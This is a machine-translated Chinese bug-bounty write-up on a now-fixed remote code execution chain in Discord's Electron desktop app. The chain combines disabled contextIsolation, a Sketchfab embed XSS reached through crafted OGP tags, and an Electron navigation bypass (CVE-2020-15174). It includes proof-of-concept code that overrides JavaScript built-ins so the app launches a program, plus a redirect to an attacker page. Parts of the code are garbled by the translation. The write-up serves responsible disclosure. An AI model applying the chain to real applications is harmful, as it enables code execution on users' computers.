背景
我发现的bug
基本上,我发现了以下三个bug,并通过结合使用它们实现了RCE。
-
缺少上下文隔离
-
iframe嵌入中的XSS
-
Navigation restriction bypass(CVE-2020-15174)
我将一一解释这些错误。
-
缺少上下文隔离
在测试Electron应用程序时,首先,我始终会检查BrowserWindow API的选项,该选项用于创建浏览器窗口。通过检查它,我考虑了如何在渲染器上执行任意JavaScript时如何实现RCE。
Discord的Electron应用程序不是一个开源项目,但是Electron的JavaScript代码以asar格式保存在本地,我能够通过提取它来读取它。
在主窗口中,使用以下选项:
const mainWindowOptions = {
title :D"iscord”,
backgroundColor:getBackgroundColor(),
width:DEFAULT_WIDTH,
height:DEFAULT_HEIGHT,
minWidth:MIN_WIDTH,
minHeight:MIN_HEIGHT,
transparent:false
frame:false,
resizable:true,
show:isVisible,
{
blinkFeatures:'EnumerateDevices,AudioOutputDevices',
nodeIntegration:false,
dirname,'mainScreenPreload.js'),
nativeWindowOpen:true,
enableRemoteModule:false,
spellcheck:true
}
};
我们这里应该检查的重要选项尤其是nodeIntegration和contextIsolation。从上面的代码中,我发现在Discord的主窗口中,nodeIntegration选项设置为false,而contextIsolation选项设置为false(使用版本的默认值)。
如果将nodeIntegration设置为true,则网页的JavaScript只需调用即可轻松使用Node.js功能require()。例如,在Windows上执行calc应用程序的方式是:
<script>
require('child_process')。exec('calc');
</ script>
这一次,将nodeIntegration设置为false,因此我无法通过require()直接调用直接使用Node.js功能。
但是,仍然可以访问Node.js功能。该contextIsolation,另一个重要的选项,设置为false。如果要消除在应用程序上进行RCE的可能性,则不应将此选项设置为false。
如果禁用contextIsolation,则网页的JavaScript可能会影响在渲染器上执行Electron内部JavaScript代码和预加载脚本(在下文中,这些JavaScript将被称为网页外部的JavaScript代码)。例如,如果您Array.prototype.join使用网页JavaScript中的另一个函数重写 了JavaScript的一种内置方法,则网页外部的JavaScript代码在调用时也将使用重写的函数join。
此行为很危险,因为Electron允许web页面外部的JavaScript代码使用node.js功能,而不管nodeIntegration选项如何,并且通过干扰web页面中重写的功能来干扰它们,即使nodeIntegration为设置为false。
顺便说一句,以前还不知道这样的把戏。它最早是由Cure53在一次渗透测试中发现的,我也于2016年加入了该测试。之后,我们将其报告给Electron团队,并引入了contextIsolation。
最近,该笔测试报告已发布。如果您有兴趣,可以从以下链接中阅读:
Pentest报告
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view
您还可以阅读我在CureCon活动中使用的幻灯片:
该contextIsolation介绍了网页和JavaScript代码之外的网页,使每个代码的JavaScript执行不影响各间分隔的上下文。这是消除RCE可能性的必要功能,但是这次在Discord中将其禁用。
现在,我发现contextIsolation已禁用,因此我开始寻找一个可以干扰网页外部JavaScript代码来执行任意代码的地方。
通常,当我在Electron的渗透测试中为RCE创建PoC时,我首先尝试通过在渲染器上使用Electron的内部JavaScript代码来实现RCE。这是因为可以在任何Electron应用程序中执行渲染器上Electron的内部JavaScript代码,因此基本上我可以重用相同的代码来实现RCE,这很容易。
在我的幻灯片中,我介绍了可以通过使用Electron在导航时间执行的代码来实现RCE。不仅可以从该代码中获得代码,而且在某些地方也有这样的代码。(我希望将来发布PoC的示例。)
但是,根据使用的Electron的版本或设置的BrowserWindow选项,由于代码已更改或无法正确访问受影响的代码,有时通过Electron的代码进行PoC不能很好地工作。在这次,它没有用,所以我决定将目标更改为预加载脚本。
在检查预加载脚本时,我发现Discord将函数公开了,该函数允许通过调用某些允许的模块到
DiscordNative.nativeModules.requireModule('MODULE-NAME')
网页中。
在这里,我无法使用可直接用于RCE的模块,例如child_process模块,但是我发现了一个代码,在其中可以通过重写JavaScript内置方法并干扰公开模块的执行来实现RCE。
以下是PoC。我能确认的是,计算的应用程序弹出时,我所说的getGPUDriverVersions被称为“模块中定义的函数
discord_utils从devTools而重写RegExp.prototype.test和Array.prototype.join。
RegExp.prototype.test = function(){
return false;
}
Array.prototype.join = function(){
return“ calc”;
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
该getGPUDriverVersions函数尝试使用“ execa ”库执行程序,如下所示:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
通常execa会尝试执行在变量中指定的“ nvidia-smi.exe ”,nvidiaSmiPath但是,由于覆盖了RegExp.prototype.test和Array.prototype.join,因此在execa的内部处理中将参数替换为“ calc ” 。
具体来说,通过更改以下两个部分来替换该参数。
https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36
https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55
剩下的工作是找到一种在应用程序上执行JavaScript的方法。如果我可以找到它,则会导致RCE。
如上所述,我发现RCE可能来自任意JavaScript执行,因此我试图找到一个XSS漏洞。该应用程序支持自动链接或Markdown功能,但看起来不错。因此,我将注意力转向了iframe嵌入功能。例如,iframe嵌入功能是在发布YouTube URL时自动在聊天中显示视频播放器的功能。
当网址贴出来,不和谐尝试获取OGP该URL的信息,如果存在OGP信息,它会显示网页标题,描述,在聊天的缩略图,相关的视频等。
Discord从OGP中提取视频URL,只有在允许视频URL域并且该URL实际上具有嵌入页面的URL格式的情况下,该URL才会嵌入到iframe中。
我找不到有关哪些服务可以嵌入到iframe中的文档,因此我试图通过检查CSP的frame-src指令来获取提示。当时,使用了以下CSP:
Content-Security-Policy: [...] ;
frame-src https://*.**屏蔽敏感词** https://*.twitch.tv
https://open.spotify.com
https://w.soundcloud.com
https://sketchfab.com
https://player.vimeo.com
https://www.funimation.com
https://twitter.com
https://www.google.com/recaptcha/
https://recaptcha.net/recaptcha/
https://js.stripe.com
https://assets.braintreegateway.com
https://checkout.paypal.com
https://*.watchanimeattheoffice.com
显然,其中列出了一些允许iframe嵌入的内容(例如YouTube,Twitch,Spotify)。我试图通过将域一一指定到OGP信息中来检查URL是否可以嵌入iframe中,并尝试在嵌入式域中找到XSS。经过一番尝试,我发现可以将 C ++中列出的域之一sketchfab.com嵌入到iframe中,并在嵌入页面上找到XSS。当时我还不了解Sketchfab,但似乎这是一个用户可以在其中发布,购买和出售3D模型的平台。3D模型的脚注中有一个基于DOM的简单XSS。
以下是具有精心制作的OGP的PoC。当我将此URL发布到聊天中时,Sketchfab被嵌入到聊天中的iframe中,然后在iframe上单击几下后,将执行任意JavaScript。
https://l0.cm/discord_rce_og.html
<head>
<meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
[...]
<meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
好的,最后我找到了XSS,但是JavaScript仍在iframe上执行。由于Electron不会将“网页外的JavaScript代码”加载到iframe中,因此即使我覆盖iframe上的JavaScript内置方法,也不会干扰Node.js的关键部分。要实现RCE,我们需要退出iframe,并在顶级浏览上下文中执行JavaScript。这需要从iframe打开新窗口,或将顶部窗口导航到iframe的另一个URL。
我检查了相关代码,并在主要流程的代码中找到了通过使用“ new-window ”和“ will-navigate ”事件来限制导航的代码:
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
} else {
_electron.shell.openExternal(windowURL);
}
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
evt.preventDefault();
}
});
我认为这段代码可以正确地阻止用户打开新窗口或浏览顶部窗口。但是,我注意到了意外的行为。
我以为代码还可以,但是我尝试检查iframe的顶部导航是否被阻止。然后,令人惊讶的是,由于某种原因,导航没有被阻塞。我希望在导航发生之前,“ will-navigate ”事件会捕获该尝试preventDefault(),但会拒绝该尝试,但事实并非如此。
为了测试这种行为,我创建了一个小型的Electron应用程序。而且我发现由于某种原因,从iframe开始的顶部导航未发出“ will-navigate ”事件。确切地说,如果顶部的起点和iframe的起点在同一起点,则发出该事件,但如果起点在不同的起点,则不发出该事件。我认为这种行为没有正当的理由,因此我认为这是Electron的错误,因此决定稍后再向Electron团队报告。
借助此错误,我可以绕过导航限制。我应该做的最后一件事就是使用iframe的XSS导航到包含RCE代码的页面,例如
top.location="//l0.cm/discord_calc.html"。
这样,通过结合三个错误,我能够实现RCE,
结果
通过Discord的Bug赏金计划报告了这些问题。首先,Discord小组停用了Sketchfab嵌入,并采取了一种变通方法,通过将沙箱属性添加到iframe来阻止从iframe导航。一段时间后,启用了 contextIsolation。现在,即使我可以在应用程序上执行任意JavaScript,RCE也不会通过覆盖的JavaScript内置方法发生。我因这次发现而获得了5,000美元的奖励。
Sketchfab上的XSS是通过Sketchfab的Bug赏金计划报告的,并由Sketchfab开发人员迅速修复。我因这次发现而获得了300美元的奖励。
向电子安全团队报告了“ will-navigate ”事件中的错误是Electron的错误,并已修复为以下漏洞(CVE-2020-15174)。